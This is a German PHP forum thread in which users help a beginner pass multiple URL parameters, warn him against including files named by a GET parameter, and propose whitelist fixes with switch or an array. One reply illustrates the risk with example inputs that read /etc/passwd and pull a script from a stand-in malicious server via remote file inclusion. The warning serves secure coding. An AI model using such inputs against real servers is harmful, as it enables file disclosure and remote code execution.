Homepage selbermachen 7.852 Themen, 35.619 Beiträge

php daten übergeben

hategrown / 20 Antworten / Baumansicht Nickles

hallo !

habe mir eine php gebastelt die ein div - element enthält und der inhalt von diesem is mitübergebenen parameter abhängig
z.b. http://localhost/php/index.php?content=gallery
hier würde in der div dann der inhalt von gallery dargestellt funktionietr auch perfekt auf diese weise nur jetzt hab ich in meiner div nochmal ein div un möchte diesen inhalt wieder dynamisch gestalten. dieser soll von einem 2ten parameter abhänhgig sein der per hyperlink mit übergeben wird ....
jedoch find ich nicht wie der syntax dafür lauten soll :
http://localhost/php/index.php?content=gallery?gallery=sxdx geht nicht

danke
matthias

bei Antwort benachrichtigen
wlaner hategrown „php daten übergeben“
Optionen
bei Antwort benachrichtigen
xafford wlaner „ http://localhost/php/index.php?content gallery gallery sxdx so sollte es...“
Optionen

Deine URL ist an sich richtig, wird aber aus Sicht von HTML und XHTML invalide, da ein & maskiert werden muß, da es sonst als unbekannte Entität angesehen wird 8falls man Wert auf valides HTML legt). Ganz sauber sähe es so aus:

http://localhost/php/index.php?content=gallery&gallery=sxdx

@Originalposter: Was Borlander angemerkt hat ist übrigens sehr wichtig. Würdest Du nämlich z.B. per include dann die Ressource gallery.html oder gallery.php einbinden wäre dies eine böse Lücke mit der schlimmstenfalls der gesamte Server übernommen werden kann. Mach also nie sowas:

include($_GET['content'] . 'php');

Pauschalurteile sind immer falsch!!!
bei Antwort benachrichtigen
Borlander hategrown „php daten übergeben“
Optionen

Du nutzt aber hoffentlich nicht den übergebenen Parameter als Dateinamen? Das wäre nämlich eine böse Sicherheitslücke...

Gruß
Borlander

bei Antwort benachrichtigen
hategrown Borlander „Du nutzt aber hoffentlich nicht den übergebenen Parameter als Dateinamen? Das...“
Optionen

hi erst mal danke für die antworten .....
mit dem "&" hats funktioniert, haett man eigentlich auch selbst drauf komme können aber zum glück gibst ja fleißige helfer wie euch...

hm dass das ganze so nicht ganz sicher ist hab ich auch schon gelesen....aber was ernsthaftes ist es eh nicht nur ein wenig rumspielerei mit php und sql
aber wenn wir schon beim thema sind wie könnte man dass ganze "sicher" lösen ?

@xafford : also dass es unsicher ist weiss ich aber wie kann man durch so einen befehl den "gesamten server" übernehmen ?

mfg
matthias

bei Antwort benachrichtigen
xafford hategrown „hi erst mal danke für die antworten ..... mit dem hats funktioniert, haett man...“
Optionen

Angenommen Du machstwirklich folgendes:

include($_GET['content'].'.php');

und nehmen wir jetzt mal weiter an, in PHP ist der Parameter allow_url_fopenwrappers auf On, was er standardmäßig auch auf fast allen Servern ist. Nimm jetzt mal an, ich will was böses auf deinem Server, dann geht je nach Sicherheitskonfiguration des Servers so einiges. Überlege mal was der Server eventuell mit folgenden übergebenen Parametern machen könnte:

?content=/etc/passwd
?content=http://boser-server.com/boeses-script.php

:o)

Pauschalurteile sind immer falsch!!!
bei Antwort benachrichtigen
hategrown xafford „Angenommen Du machstwirklich folgendes: include _GET content . .php und nehmen...“
Optionen

aso ja ok leuchtet ein aber wenn ich es doch so mache muesst ich das ganze doch "entschärfen" können oder nicht ?

$variable = $GET['content'];

...


if ($content=="übergebenerwert") {include ("bsppage.php");}


...

mfg
matthias
bei Antwort benachrichtigen
hategrown Nachtrag zu: „aso ja ok leuchtet ein aber wenn ich es doch so mache muesst ich das ganze doch...“
Optionen

$variable statt $content natürlich

bei Antwort benachrichtigen
xafford hategrown „ variable statt content natürlich“
Optionen

Ja, so kannst Du es entschärfen. Geeigneter da übersichtlicher bei mehreren Seiten ist jedoch switch:

$page = 'seite0.html';

switch($_GET['content']) {

case 'seite1':
$page = 'seite1.html';
break;

case 'seite2':
$page = 'seite2.html';
break;

...

case 'seiteN':
$page = 'seiteN.html';
break;

default:
$page = 'gibt_es_nicht.html';

}
include($page);

Pauschalurteile sind immer falsch!!!
bei Antwort benachrichtigen
Borlander xafford „Ja, so kannst Du es entschärfen. Geeigneter da übersichtlicher bei mehreren...“
Optionen

... ist ein assoziatives Array ;-)
$pages = array(
"seite1" = > "seite1.html",
//...
"seiteN" = > "seiteN.html",
);

$page = $pages[$_GET['content']];
$page = $page=="" ? "default.htm" : $page; // Unbekannten Wert abfangen
include($page);


Gruß
bor

bei Antwort benachrichtigen
xafford Borlander „... ist ein assoziatives Array - pages array seite1 seite1.html , //... seiteN...“
Optionen

Okay, ist komfortabler ... (aber langsame) :o)

Pauschalurteile sind immer falsch!!!
bei Antwort benachrichtigen
Borlander xafford „Okay, ist komfortabler ... aber langsame :o “
Optionen

Hast Du das mal gebencht? Zumindest bei sehr vielen Auswahlmöglichkeiten sollte das doch schneller werden (irgendwann hatte ich mal gelesen das die Arrays auf als Hash-Listen implementiert sind).

Gruß
bor

bei Antwort benachrichtigen
xafford Borlander „Hast Du das mal gebencht? Zumindest bei sehr vielen Auswahlmöglichkeiten sollte...“
Optionen

Nein gebencht habeich es nicht, allerdings dürfte der Aufbau eines Arrays über die Allkokation von Speicher und der Lookup eines Hashtable mehr Taktzyklen verschlingen, als ein paar JNEs. Das dürfte letztendlich aber beides unerheblich sein, ich wollte nur was zu Meckern haben ;o)

Pauschalurteile sind immer falsch!!!
bei Antwort benachrichtigen
Borlander xafford „Nein gebencht habeich es nicht, allerdings dürfte der Aufbau eines Arrays über...“
Optionen

Nach Du meine Illusionen sparsamer Laufzeit nun zerstört hast muß ich Dich aber auch noch ein wenig ärgern :D Das Parsing des Scriptes sollte auch nicht vernachlässigt werde, bei Lösung mit Switch muß der viel mehr Zeichen fressen :p

bei Antwort benachrichtigen
xafford Borlander „Nach Du meine Illusionen sparsamer Laufzeit nun zerstört hast muß ich Dich...“
Optionen

Ja, aber zur Compilezeit muß ja auch der Speicher alloziiert werden für das Array... ;o)... einigen wir uns aus unentschieden? :D

Pauschalurteile sind immer falsch!!!
bei Antwort benachrichtigen
Borlander xafford „Ja, aber zur Compilezeit muß ja auch der Speicher alloziiert werden für das...“
Optionen
... einigen wir uns aus unentschieden? :D
Aber klar doch :-)
bei Antwort benachrichtigen
hategrown Nachtrag zu: „php daten übergeben“
Optionen

so hi ich wieder mal ....

ich möchte folgendes machen ..... ich habe kleines forum für ein paar friends von mir ... und jetzt möchte ich dass sich die user des forums auch auf meiner php seite einloggn können und dann bestimmte bereiche angezigt werden usw ....

wie kann ich denn sowas bewerkstelligen ....

mfg
matthias

bei Antwort benachrichtigen
Borlander hategrown „so hi ich wieder mal .... ich möchte folgendes machen ..... ich habe kleines...“
Optionen

... im einfachsten Fall kannst Du das sogar ohne PHP lösen mit Hilfe von htaccess (siehe auch SelfHTML).

bei Antwort benachrichtigen
hategrown Borlander „... im einfachsten Fall kannst Du das sogar ohne PHP lösen mit Hilfe von...“
Optionen

naja ich wuerde aber gerna die user und laufenden registrierungen von der foren software gern uebernehmen.
also die user direkt aus dieser datenbank auslesen. deswegen wäre htaccess glaub ich ein wenig ungeignet oder ?

bei Antwort benachrichtigen
Borlander hategrown „naja ich wuerde aber gerna die user und laufenden registrierungen von der foren...“
Optionen
die user und laufenden registrierungen von der foren software gern uebernehmen.
Gibt es für die Forensoftware nicht schon ein fertiges Modul, oder eine Schnittstelle für ein solches Modul?

also die user direkt aus dieser datenbank auslesen.
Das wäre natürlich kein Problem mit den mysql_*-Funktionen...


Am besten schildest Du nochmal an welcher Stelle Du konkret festhängst, ggf. auch in einem neuen Thread.
bei Antwort benachrichtigen
hategrown Borlander „ Gibt es für die Forensoftware nicht schon ein fertiges Modul, oder eine...“
Optionen

hab leider kein derartiges modul gefunden ....

hab mal nen screenshot gemacht evtl wird dann deutlicher was ich meine

http://mitglied.lycos.de/bodycheckdaniels/page.JPG

ich möchte jetzt zum beispiel dass diese "admin box" nur bei bestimmten user angezeigt wird die sich über die beiden forlumarfelder einloggen können.

der logvorgäng muesste irgendwie in einer "session" hinterlegt werden damit sich die user nicht nach einen klick auf einem link wieder einloggn muessen

danke, u mfg
matthias

bei Antwort benachrichtigen